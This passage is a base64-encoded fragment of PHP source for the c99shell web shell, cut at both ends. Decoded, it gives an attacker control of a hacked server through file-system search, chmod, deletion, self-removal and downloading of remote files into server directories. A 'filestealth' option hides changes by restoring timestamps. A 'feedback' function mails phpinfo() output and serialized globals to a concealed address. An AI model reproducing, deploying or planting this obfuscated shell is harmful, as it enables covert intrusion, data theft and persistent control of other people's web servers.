oJGVuY29kZXJfaW5wdXQpOw0KICAkZGViYXNlNjQgPSBzdHJfcmVwbGFjZSgiXDAiLCJbMF0iLCRkZWJhc2U2NCk7DQogICRhID0gZXhwbG9kZSgiXHJcbiIsJGRlYmFzZTY0KTsNCiAgJHJvd3MgPSBjb3VudCgkYSk7DQogICRkZWJhc2U2NCA9IGh0bWxzcGVjaWFsY2hhcnMoJGRlYmFzZTY0KTsNCiAgaWYgKCRyb3dzID09IDEpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iO30NCiAgZWxzZSB7JHJvd3MrKzsgZWNobyAiPHRleHRhcmVhIGNvbHM9XCI0MFwiIHJvd3M9XCIiLiRyb3dzLiJcIiBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiIuJGRlYmFzZTY0LiI8L3RleHRhcmVhPiI7fQ0KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPjxiPl48L2I+PC9hPiI7DQogfQ0KIGVjaG8gIjwvY2VudGVyPjxicj48Yj5CYXNlIGNvbnZlcnRhdGlvbnM8L2I+OjxjZW50ZXI+ZGVjMmhleCAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiOw0KICRjID0gc3RybGVuKCRlbmNvZGVyX2lucHV0KTsNCiBmb3IoJGk9MDskaTwkYzskaSsrKQ0KIHsNCiAgJGhleCA9IGRlY2hleChvcmQoJGVuY29kZXJfaW5wdXRbJGldKSk7DQogIGlmICgkZW5jb2Rlcl9pbnB1dFskaV0gPT0gIiYiKSB7ZWNobyAkZW5jb2Rlcl9pbnB1dFskaV07fQ0KICBlbHNlaWYgKCRlbmNvZGVyX2lucHV0WyRpXSAhPSAiXFwiKSB7ZWNobyAiJSIuJGhleDt9DQogfQ0KIGVjaG8gIlwiIHJlYWRvbmx5Pjxicj48L2NlbnRlcj48L2Zvcm0+IjsNCn0NCmlmICgkYWN0ID09ICJmc2J1ZmYiKQ0Kew0KICRhcnJfY29weSA9ICRzZXNzX2RhdGFbImNvcHkiXTsNCiAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOw0KICRhcnIgPSBhcnJheV9tZXJnZSgkYXJyX2NvcHksJGFycl9jdXQpOw0KIGlmIChjb3VudCgkYXJyKSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5CdWZmZXIgaXMgZW1wdHkhPC9iPjwvY2VudGVyPiI7fQ0KIGVsc2Uge2VjaG8gIjxiPkZpbGUtU3lzdGVtIGJ1ZmZlcjwvYj48YnI+PGJyPiI7ICRsc19hcnIgPSAkYXJyOyAkZGlzcF9mdWxscGF0aCA9IHRydWU7ICRhY3QgPSAibHMiO30NCn0NCmlmICgkYWN0ID09ICJzZWxmcmVtb3ZlIikNCnsNCiBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpDQogew0KICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nIGM5OXNoZWxsIHYuIi4kc2h2ZXIuIiEiOyBleGl0OyB9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+Ijt9DQogfQ0KIGVsc2UNCiB7DQogIGlmICghZW1wdHkoJHJuZGNvZGUpKSB7ZWNobyAiPGI+RXJyb3I6IGluY29ycmVjdCBjb25maW1hdGlvbiE8L2I+Ijt9DQogICRybmQgPSByYW5kKDAsOSkucmFuZCgwLDkpLnJhbmQoMCw5KTsNCiAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJybmRjb2RlXCIgdmFsdWU9XCIiLiRybmQuIlwiPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzdWJtaXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiWUVTXCI+PC9mb3JtPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImZlZWRiYWNrIikNCnsNCiAkc3VwcG1haWwgPSBiYXNlNjRfZGVjb2RlKCJZems1YzJobGJHeEFhVzVpYjNndWNuVT0iKTsNCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgJHRpY2tldCA9IHN1YnN0cihtZDUobWljcm90aW1lKCkrcmFuZCgxLDEwMDApKSwwLDYpOw0KICAkYm9keSA9ICJjOTlzaGVsbCB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIuJHRpY2tldC4iXG5OYW1lOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlxuRS1tYWlsOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcbk1lc3NhZ2U6XG4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfYm9keSkuIlxuXG5JUDogIi4kUkVNT1RFX0FERFI7DQogIGlmICghZW1wdHkoJGZkYmtfcmVmKSkNCiAgew0KICAgJHRtcCA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgIG9iX2NsZWFuKCk7DQogICBwaHBpbmZvKCk7DQogICAkcGhwaW5mbyA9IGJhc2U2NF9lbmNvZGUob2JfZ2V0X2NvbnRlbnRzKCkpOw0KICAgb2JfY2xlYW4oKTsNCiAgIGVjaG8gJHRtcDsNCiAgICRib2R5IC49ICJcbiIuInBocGluZm8oKTogIi4kcGhwaW5mby4iXG4iLiJcJEdMT0JBTFM9Ii5iYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkR0xPQkFMUykpLiJcbiI7DQogIH0NCiAgbWFpbCgkc3VwcG1haWwsImM5OXNoZWxsIHYuIi4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LCRib2R5LCJGUk9NOiAiLiRzdXBwbWFpbCk7DQogIGVjaG8gIjxjZW50ZXI+PGI+VGhhbmtzIGZvciB5b3VyIGZlZWRiYWNrISBZb3VyIHRpY2tldCBJRDogIi4kdGlja2V0LiIuPC9iPjwvY2VudGVyPiI7DQogfQ0KIGVsc2Uge2VjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48Yj5GZWVkYmFjayBvciByZXBvcnQgYnVnICgiLnN0cl9yZXBsYWNlKGFycmF5KCJAIiwiLiIpLGFycmF5KCJbYXRdIiwiW2RvdF0iKSwkc3VwcG1haWwpLiIpOjxicj48YnI+WW91ciBuYW1lOiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZmRia19uYW1lXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlwiPjxicj48YnI+WW91ciBlLW1haWw6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX2VtYWlsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcIj48YnI+PGJyPk1lc3NhZ2U6PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZmRia19ib2R5XCIgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmZGJrX3JlZlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJEhUVFBfUkVGRVJFUikuIlwiPjxicj48YnI+QXR0YWNoIHNlcnZlci1pbmZvICogPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmZGJrX3NlcnZpbmZcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+VGhlcmUgYXJlIG5vIGNoZWNraW5nIGluIHRoZSBmb3JtLjxicj48YnI+KiAtIHN0cm9uZ2x5IHJlY29tbWVuZGVkLCBpZiB5b3UgcmVwb3J0IGJ1ZywgYmVjYXVzZSB3ZSBuZWVkIGl0IGZvciBidWctZml4Ljxicj48YnI+V2UgdW5kZXJzdGFuZCBsYW5ndWFnZXM6IEVuZ2xpc2gsIFJ1c3NpYW4uPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlbmRcIj48L2Zvcm0+Ijt9DQp9DQppZiAoJGFjdCA9PSAic2VhcmNoIikNCnsNCiBlY2hvICI8Yj5TZWFyY2ggaW4gZmlsZS1zeXN0ZW06PC9iPjxicj4iOw0KIGlmIChlbXB0eSgkc2VhcmNoX2luKSkgeyRzZWFyY2hfaW4gPSAkZDt9DQogaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30NCiBpZiAoZW1wdHkoJHNlYXJjaF90ZXh0X3d3bykpIHskc2VhcmNoX3RleHRfcmVnZXhwID0gMDt9DQogaWYgKCFlbXB0eSgkc3VibWl0KSkNCiB7DQogICRmb3VuZCA9IGFycmF5KCk7DQogICRmb3VuZF9kID0gMDsNCiAgJGZvdW5kX2YgPSAwOw0KICAkc2VhcmNoX2lfZiA9IDA7DQogICRzZWFyY2hfaV9kID0gMDsNCiAgJGEgPSBhcnJheQ0KICAoDQogICAibmFtZSI9PiRzZWFyY2hfbmFtZSwgIm5hbWVfcmVnZXhwIj0+JHNlYXJjaF9uYW1lX3JlZ2V4cCwNCiAgICJ0ZXh0Ij0+JHNlYXJjaF90ZXh0LCAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsDQogICAidGV4dF93d28iPT4kc2VhcmNoX3RleHRfd3dvLA0KICAgInRleHRfY3MiPT4kc2VhcmNoX3RleHRfY3MsDQogICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90DQogICk7DQogICRzZWFyY2h0aW1lID0gZ2V0bWljcm90aW1lKCk7DQogICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7DQogIGZvcmVhY2goJGluIGFzICR2KSB7Yzk5ZnNlYXJjaCgkdik7fQ0KICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOw0KICBpZiAoY291bnQoJGZvdW5kKSA9PSAwKSB7ZWNobyAiPGI+Tm8gZmlsZXMgZm91bmQhPC9iPiI7fQ0KICBlbHNlDQogIHsNCiAgICRsc19hcnIgPSAkZm91bmQ7DQogICAkZGlzcF9mdWxscGF0aCA9IHRydWU7DQogICAkYWN0ID0gImxzIjsNCiAgfQ0KIH0NCiBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCIiLiRkc3BhY3QuIlwiPg0KPGI+U2VhcmNoIGZvciAoZmlsZS9kaXJlY3RvcnkgbmFtZSk6IDwvYj48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVcIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi5nY2hkcygkc2VhcmNoX25hbWVfcmVnZXhwLDEsIiBjaGVja2VkIikuIj4gLSByZWdleHANCjxicj48Yj5TZWFyY2ggaW4gKGV4cGxvZGUgXCI7XCIpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfaW4pLiJcIj4NCjxicj48YnI+PGI+VGV4dDo8L2I+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+DQo8YnI+PGJyPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi5nY2hkcygkc2VhcmNoX3RleHRfcmVnZXhwLDEsIiBjaGVja2VkIikuIj4gLSByZWdleHANCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfd3dvXCIgdmFsdWU9XCIxXCIgIi5nY2hkcygkc2VhcmNoX3RleHRfd3dvLDEsIiBjaGVja2VkIikuIj4gLSA8dT53PC91PmhvbGUgd29yZHMgb25seQ0KJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9jc1wiIHZhbHVlPVwiMVwiICIuZ2NoZHMoJHNlYXJjaF90ZXh0X2NzLDEsIiBjaGVja2VkIikuIj4gLSBjYXM8dT5lPC91PiBzZW5zaXRpdmUNCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfbm90XCIgdmFsdWU9XCIxXCIgIi5nY2hkcygkc2VhcmNoX3RleHRfbm90LDEsIiBjaGVja2VkIikuIj4gLSBmaW5kIGZpbGVzIDx1Pk5PVDwvdT4gY29udGFpbmluZyB0aGUgdGV4dA0KPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlYXJjaFwiPjwvZm9ybT4iOw0KIGlmICgkYWN0ID09ICJscyIpIHskZHNwYWN0ID0gJGFjdDsgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5TZWFyY2ggdG9vayAiLiRzZWFyY2h0aW1lLiIgc2VjcyAoIi4kc2VhcmNoX2lfZi4iIGZpbGVzIGFuZCAiLiRzZWFyY2hfaV9kLiIgZGlyZWN0b3JpZXMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPjxicj48YnI+Ijt9DQp9DQppZiAoJGFjdCA9PSAiY2htb2QiKQ0Kew0KICRtb2RlID0gZmlsZXBlcm1zKCRkLiRmKTsNCiBpZiAoISRtb2RlKSB7ZWNobyAiPGI+Q2hhbmdlIGZpbGUtbW9kZSB3aXRoIGVycm9yOjwvYj4gY2FuJ3QgZ2V0IGN1cnJlbnQgdmFsdWUuIjt9DQogZWxzZQ0KIHsNCiAgJGZvcm0gPSB0cnVlOw0KICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgew0KICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOw0KICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskYWN0ID0gImxzIjsgJGZvcm0gPSBmYWxzZTsgJGVyciA9ICIiO30NCiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30NCiAgfQ0KICBpZiAoJGZvcm0pDQogIHsNCiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsNCiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzdXJsKS4iXCIgbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiLigkcGVybXNbImciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbeF0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsNCiAgfQ0KIH0NCn0NCmlmICgkYWN0ID09ICJ1cGxvYWQiKQ0Kew0KICR1cGxvYWRtZXNzID0gIiI7DQogJHVwbG9hZHBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHVwbG9hZHBhdGgpOw0KIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30NCiBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSwxKSAhPSAiLyIpIHskdXBsb2FkcGF0aCAuPSAiLyI7fQ0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICBnbG9iYWwgJEhUVFBfUE9TVF9GSUxFUzsNCiAgJHVwbG9hZGZpbGUgPSAkSFRUUF9QT1NUX0ZJTEVTWyJ1cGxvYWRmaWxlIl07DQogIGlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKQ0KICB7DQogICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30NCiAgIGVsc2UgeyRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lO30NCiAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iO30NCiAgfQ0KICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkNCiAgew0KICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICBlbHNlDQogICB7DQogICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOw0KICAgIGlmIChlbXB0eSgkZGVzdGluKSkNCiAgICB7DQogICAgICRpID0gMDsNCiAgICAgJGIgPSAiIjsNCiAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHtpZiAoJGkgPiAwKSB7JGIgPSAiXyIuJGk7fSAkZGVzdGluID0gImluZGV4Ii4kYi4iLmh0bWwiOyAkaSsrO319DQogICB9DQogICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29yZWN0IHVybCE8L2I+PGJyPiI7fQ0KICAgZWxzZQ0KICAgew0KICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOw0KICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlITxicj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30NCiAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOw0KICAgICBpZiAoISRmcCkgeyR1cGxvYWRtZXNzIC49ICJFcnJvciB3cml0aW5nIHRvIGZpbGUgIi5odG1sc3BlY2lhbGNoYXJzKCRkZXN0aW4pLiIhPGJyPiI7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGZ3cml0ZSgkZnAsJGNvbnRlbnQsc3RybGVuKCRjb250ZW50KSk7DQogICAgICBmY2xvc2UoJGZwKTsNCiAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQogaWYgKCRtaW5pZm9ybSkNCiB7DQogIGVjaG8gIjxiPiIuJHVwbG9hZG1lc3MuIjwvYj4iOw0KICAkYWN0ID0gImxzIjsNCiB9DQogZWxzZQ0KIHsNCiAgZWNobyAiPGI+RmlsZSB1cGxvYWQ6PC9iPjxicj48Yj4iLiR1cGxvYWRtZXNzLiI8L2I+PGZvcm0gZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9dXBsb2FkJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9XCJQT1NUXCI+DQpTZWxlY3QgZmlsZSBvbiB5b3VyIGxvY2FsIGNvbXB1dGVyOiA8aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjxicj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvcjxicj4NCklucHV0IFVSTDogPGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR1cGxvYWR1cmwpLiJcIiBzaXplPVwiNzBcIj48YnI+PGJyPg0KU2F2ZSB0aGlzIGZpbGUgZGlyOiA8aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPg0KRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+DQo8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVwbG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiZuYnNwO2NvbnZlcnQgZmlsZSBuYW1lIHRvIGxvdmVyY2FzZTxicj48YnI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlVwbG9hZFwiPg0KPC9mb3JtPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImRlbGV0ZSIpDQp7DQogJGRlbGVyciA9ICIiOw0KIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpDQogew0KICAkcmVzdWx0ID0gZmFsc2U7DQogICRyZXN1bHQgPSBmc19ybW9iaigkdik7DQogIGlmICghJHJlc3VsdCkgeyRkZWxlcnIgLj0gIkNhbid0IGRlbGV0ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiI8YnI+Ijt9DQogfQ0KIGlmICghZW1wdHkoJGRlbGVycikpIHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRlbGVycjt9DQogJGFjdCA9ICJscyI7DQp9DQppZiAoISR1c2Vmc2J1ZmYpDQp7DQogaWYgKCgkYWN0ID09ICJwYXN0ZSIpIG9yICgkYWN0ID09ICJjb3B5Iikgb3IgKCRhY3QgPT0gImN1dCIpIG9yICgkYWN0ID09ICJ1bnNlbGVjdCIpKSB7ZWNobyAiPGNlbnRlcj48Yj5Tb3JyeSwgYnVmZmVyIGlzIGRpc2FibGVkLiBGb3IgZW5hYmxlLCBzZXQgZGlyZWN0aXZlIFwiXCR1c2VGU2J1ZmZcIiBhcyBUUlVFLjwvY2VudGVyPiI7fQ0KfQ0KZWxzZQ0Kew0KIGlmICgkYWN0ID09ICJjb3B5IikgeyRlcnIgPSAiIjsgJHNlc3NfZGF0YVsiY29weSJdID0gYXJ